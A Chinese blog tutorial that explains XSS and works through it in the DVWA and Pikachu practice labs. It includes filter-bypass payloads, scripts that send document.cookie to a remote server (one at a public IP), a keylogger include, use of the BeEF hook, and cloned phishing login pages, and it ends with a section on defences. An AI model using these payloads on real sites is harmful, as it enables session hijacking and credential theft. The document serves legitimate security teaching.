【网络安全的神秘世界】XSS基本概念和原理介绍

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、基本概念

恶意攻击者往web页面插入恶意代码脚本(JS代码),当用户浏览该页面时,嵌入web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

XSS漏洞利用条件:能插入,能执行

二、XSS分类

2.1 反射型

也叫非持久型,常见的就是在url中构造,将恶意链接发送给目标用户。当用户访问链接的时候,会向服务器GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型

在这里插入图片描述

先输入恶意代码,造成弹窗说明攻击成功了

在这里插入图片描述

但是去了其他页面后再回来,攻击就没有了

在这里插入图片描述

像刚才的攻击流程,攻击一次立马失效,这就叫非持久型

2.2 存储型

也叫持久型,常见的就是在博客留言版、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端,每次访问都会触发恶意代码
在这里插入图片描述

输入恶意代码,造成攻击

在这里插入图片描述

发现恶意代码被浏览器保存到页面了,访问其他网页再回来,仍会造成攻击,这就叫持久型

在这里插入图片描述

--------为什么写出来的恶意代码看不到?

因为js代码被浏览的解析引擎解析掉了,所以看到的是个空值

2.3 DOM型

属于反射型XSS,在网页的标签中写入js代码

三、手工测试

漏洞练习靶场:dvwa

3.1 反射性XSS

LOW低级

img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件

<img src=## onerror=alert(document.cookie)>

在这里插入图片描述

a标签支持onmouseover事件,需要鼠标移动到a标签的位置才能触发

<a onmouseover=alert(document.cookie)>请点击</a>

在这里插入图片描述

a标签可以用来钓鱼或者暗链

Medium中级

输入,发现不能出现弹窗

在这里插入图片描述

查看dvwa源代码,发现对<script></script>进行了过滤,替换为空格

在这里插入图片描述

有很多绕过方式,可以尝试一下大小写混淆或双写绕过,或者也可以使用其他标签

大小写混淆:<ScRipt>alert(1)</script>
双写绕过:<sc<script>ript>alert(1)</script>
其他标签:<img src=x onerror=alert(1)>
High高级

通过正则表达式进行过滤<script>,可以换个标签进行绕过

在这里插入图片描述

把正则表达式复制粘贴到这个网站上,测试匹配结果:正则表达式在线测试

根据网页设置的正则表达式要勾选上-i

在这里插入图片描述

DOM XSS

通过自己声明的img标签反弹cookie

<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>

发送cookie到远程服务器

<script>
 img=document.createElement("img");img.src="http://xxx/a?"+escape(document.cookie);
</script>

+:连字符,表示拼接

escape:在Java中表示一个编码,会对括号里的内容进行编码

无论访问成功与否都不重要,重要的是在http://xxx/a中会留下访问日志,攻击者就能获得cookie值

3.2 存储型XSS

LOW低级

直接输入测试代码<script>alert(1)</script>点击提交

在这里插入图片描述

Medium中级

输入测试代码<script>alert(1)</script>,没有造成弹窗

在这里插入图片描述

尝试换成<img>标签,发现还是不行

在这里插入图片描述

没什么思路了,去看看源代码吧

在这里插入图片描述

发现name输入框更好绕过,我们在name输入测试代码

但是发现name输入框有长度限制

在这里插入图片描述

可以在包里面进行修改

在这里插入图片描述

也可以按F12键,把长度改大或删除

在这里插入图片描述

High高级

直接看代码吧

在这里插入图片描述

同理,还是选择简单的name输入框进行测试

在这里插入图片描述

在这里插入图片描述

四、盲打

输入的内容提交后并不知道去哪里了

像下图就是盲打的场景

在这里插入图片描述

普通用户看不到,但是管理员账户可以看到

我们可以构造恶意代码,观察远程服务器web日志,只要网站管理员访问,它的cookie值就被盗取

在这里插入图片描述

当管理员登录后台后,还没反应过来就被攻击了

在这里插入图片描述

在这里插入图片描述

五、XSS键盘记录

查看pikachu自带的XSS键盘记录:var/www/html/pkxss/rkeypress/rk.js

在这里插入图片描述

  • rk.js:记录用户输入内容
  • rkserver.php:接收用户敲击键盘的输入并保存到数据库

在实际中,rk.js应放在要攻击的网站中,rkserver.php放置自己搭建的服务器上面

实验过程

在做实验之前,我们先修改一下脚本的默认配置

修改目标地址:就是想要攻击的网站ip,我修改成自己搭建的pikachu靶场ip

在这里插入图片描述

在存储型XSS模块输入payload

<script src="http://10.0.0.158/pkxss/rkeypress/rk.js"></script>

这段payload在留言列表里看不到,因为浏览器有渲染引擎给渲染掉了但实际上存在

在这里插入图片描述

之后登录XSS后台进行查看,可以看到获取到了键盘记录

在这里插入图片描述

在这里插入图片描述

六、XSS平台利用——获取cookie

服务器Pikachu靶场环境:10.0.0.158:8091

被攻击方DVWA靶场环境:10.0.0.158:8090

6.1 初始化自带XSS平台

点击 管理工具 -> XSS后台

在这里插入图片描述

初始化之后,通过页面上的用户名/密码进行登录

在这里插入图片描述

点击cookie搜集模块

在这里插入图片描述

可以看到这时还没有获取到cookie:

在这里插入图片描述

6.2 前台XSS盲打攻击获取cookie值

查看cookie收集页面的源代码

在这里插入图片描述

发现其中的pkxss_cookie_result.php,该脚本文件用于收集和展示cookie

pikachu后端环境中,是通过同一目录下的cookie.php文件来获取cookie

在这里插入图片描述

把cookie.php文件中的ip地址改为要攻击的靶场ip(即dvwa)

在这里插入图片描述

XSS盗取cookie payload

// 使用document.write向页面中写入一个img标签,src访问cookie.php并提供cookie参数为document.cookie
<script>document.write('<img src="http://42.192.37.16:8081/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>

XSS(stored) --> 写入payload

在这里插入图片描述

提交成功

在这里插入图片描述

返回pikachu靶场的后台查看结果

在这里插入图片描述

怎么通过盗取的cookie进行登录?

打开火狐浏览器,安装cookie-editor插件,认准这个作者

在这里插入图片描述

使用cookie-editor插件设置cookie值

在这里插入图片描述

直接访问dvwa靶场登陆后的界面即10.0.0.158:8090/index.php,不需要登录直接就进来了

在这里插入图片描述

-------怎么让攻击者拿到cookie也无法登录?

  • cookie设置有效期
  • 通过多点登录验证

【多点登录】:同一个账号被多个用户登录

6.3 BeEF-XSS

BeEF是一款非常强大的web框架攻击平台,集成了许多payload

打开kali系统,

# 安装beef
sudo apt install beef-xss

# 修改配置文件
vi /usr/share/beef-xss/config.yaml

修改监听地址为本机ip

在这里插入图片描述

修改用户名/密码,否则无法正常启动beef

在这里插入图片描述

# 启动befe
cd /usr/share/beef-xss
./beef

在这里插入图片描述

  • Hook URL:劫持程序原有流程,添加额外处理逻辑。具备攻击性
  • UI URL:可以理解为beef工具的管理地址
  • API key:使用beef的钥匙

启动后,访问http://10.0.0.158:3000/ui/panel页面

在这里插入图片描述

会自动跳转到http://10.0.0.158:3000/ui/authentication页面

使用beef/123进行登录

1️⃣使用beef克隆其他网站

curl -H "Content-Type:application/json;charset=UTF-8" 
     -d '{"url":"需要克隆的网址","mount":"克隆的页面在服务器的哪个路径访问"}'
     -X POST http://BeEFURL/api/seng/clone_page?token=服务器启动时的beef API key

# 克隆百度
# 在 -H 和 -d 选项后面添加了反斜杠 \ 来继续命令到下一行,这有助于保持命令的可读性,并且防止了因为缺少空格而导致的错误
curl -H "Content-Type:application/json;charset=UTF-8" \
     -d '{"url":"https://www.baidu.com","mount":"/baidu"}' \
     -X POST http://10.0.0.158:3000/api/seng/clone_page?token=2d4450c8a9592eeebba7091d84e26ea617e6be79

克隆成功返回如下页面

在这里插入图片描述

访问我们克隆后的网站

在这里插入图片描述

进入beef后台,可以看到有机器上线

在这里插入图片描述

2️⃣使用beef克隆pikachu平台的“反射性SS(post)”的登陆页面获取账号密码

curl -H "Content-Type:application/json;charset=UTF-8" \
     -d '{"url":"http://10.0.0.158:8091/vul/xss/xsspost/post_login.php","mount":"/pikachu"}' \
     -X POST http://10.0.0.158:3000/api/seng/clone_page?token=2d4450c8a9592eeebba7091d84e26ea617e6be79

访问http://10.0.0.158:3000/pikachu,可以看到beef中有机器上线

模拟用户在钓鱼页面中进行登录

在这里插入图片描述

进入beef后台查看日志,用户名和密码已经被记录了下来

在这里插入图片描述

3️⃣使用beef攻击pikachu平台的”XSS之盲打“页面获取cookie

在【XSS之盲打】中上传hook脚本,让用户触发xss

<script src="http://10.0.0.158:3000/hook.js"></script>

在这里插入图片描述

访问http://10.0.0.158:8091/vul/xss/xssblind/admin_login.php,登录后台

在这里插入图片描述

登陆后发现了携带了hook的payload

在这里插入图片描述

去beef后台查看登陆后的cookie值

选择Current Browser -> Commands -> Browser -> Get Cookie

在这里插入图片描述

点击Execute -> command 1 生成cookie

在这里插入图片描述

Commands下展示的是可以执行的命令模块,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作,并用颜色表示:

  • 绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
  • 橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转等)
  • 灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
  • 红色:命令模块不适用于此目标

七、XSS防御绕过

在实际的网站中,或多或少

7.1 过滤不严格

可以用大小写绕过或者使用别的标签

7.2 HTML实体编码默认配置

HTML实体编码原理

XSS漏洞最好的防御方法是做实体编码,HTML实体编码字符为:

& ——> &amp;
“ ——> &quot;
' ——> &#039;
< ——> &#lt;
> ——> &#gt;

通过htmlspecialchars()函数实现HTML实体编码

htmlspecialcars()的语法:htmlspecialchars(string,flags,character-set,double_encode)

该函数默认配置下仅过滤掉双引号,只有设置quotestyle的类型,规定如何编码才会同时过滤掉单引号和双引号

可用的quotestyle类型:

  • ENT_COMPAT:默认,仅编码双引号
  • ENT_QUOTES:编码双引号和单引号
  • ENT_NOQUOTES:不编码任何引号
绕过HTML实体编码

输入特殊字符 ' “< >,查看前端源码,我们看到 ‘ ”< > 都进行了html实体编码

在这里插入图片描述

但是没有对 ' 进行实体编码,可以使用单引号构造payload

#' onclick='alert(/xss)
#' onmousemove='alert(/xss)

可以看到我们的输入变成了下图所示

在这里插入图片描述

点击语句即可触发弹窗

在这里插入图片描述

八、XSS安全防御

通过前面的介绍可以得知,XSS攻击有两大要素:

1、攻击者提交恶意代码 --输入
2、浏览器执行恶意代码 --输出

根本的解决方法:从输入到输出都需要过滤、转义

8.1 输入检查

以下为需要过滤的常见字符:

|  &  ;  $  %  @  '  "  \'  \"  <>  ()  +  CR  LF  ,  \

过滤这个方法可以用,但不能仅用过滤;因为过滤的太严格,业务会受到影响;可过滤的不严格,攻击者又可以绕过。通常和html实体编码一起用

8.2 输出检查

8.2.1 HTML实体编码

在PHP中,有htmlentities()和htmlspecialchas()两个函数可以满足安全要求

即破坏一些特殊符号,从而让其无法生效

& ——> &amp;
“ ——> &quot;
' ——> &#039;
< ——> &#lt;
> ——> &#gt;
8.2.2 JavaScript编码

JavaScriptEncode与HtmlEncode的编码方式不同,它需要使用反斜杠“\”对特殊字符进行转义

除了上面的那些转移之外,还要附加上下面的转义:

\ --> \\
/ --> \/
; --> ;(全角)

8.3 HttpOnly

避免xss攻击利用document.cookie获取cookie值

许多XSS攻击的目的就是为了获取用户的cookie,将cookie标记为HttpOnly属性,这样的话浏览器向服务端发起请求时就会带上cookie自动,但是在脚本中不能在调用cookie

  • 26
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值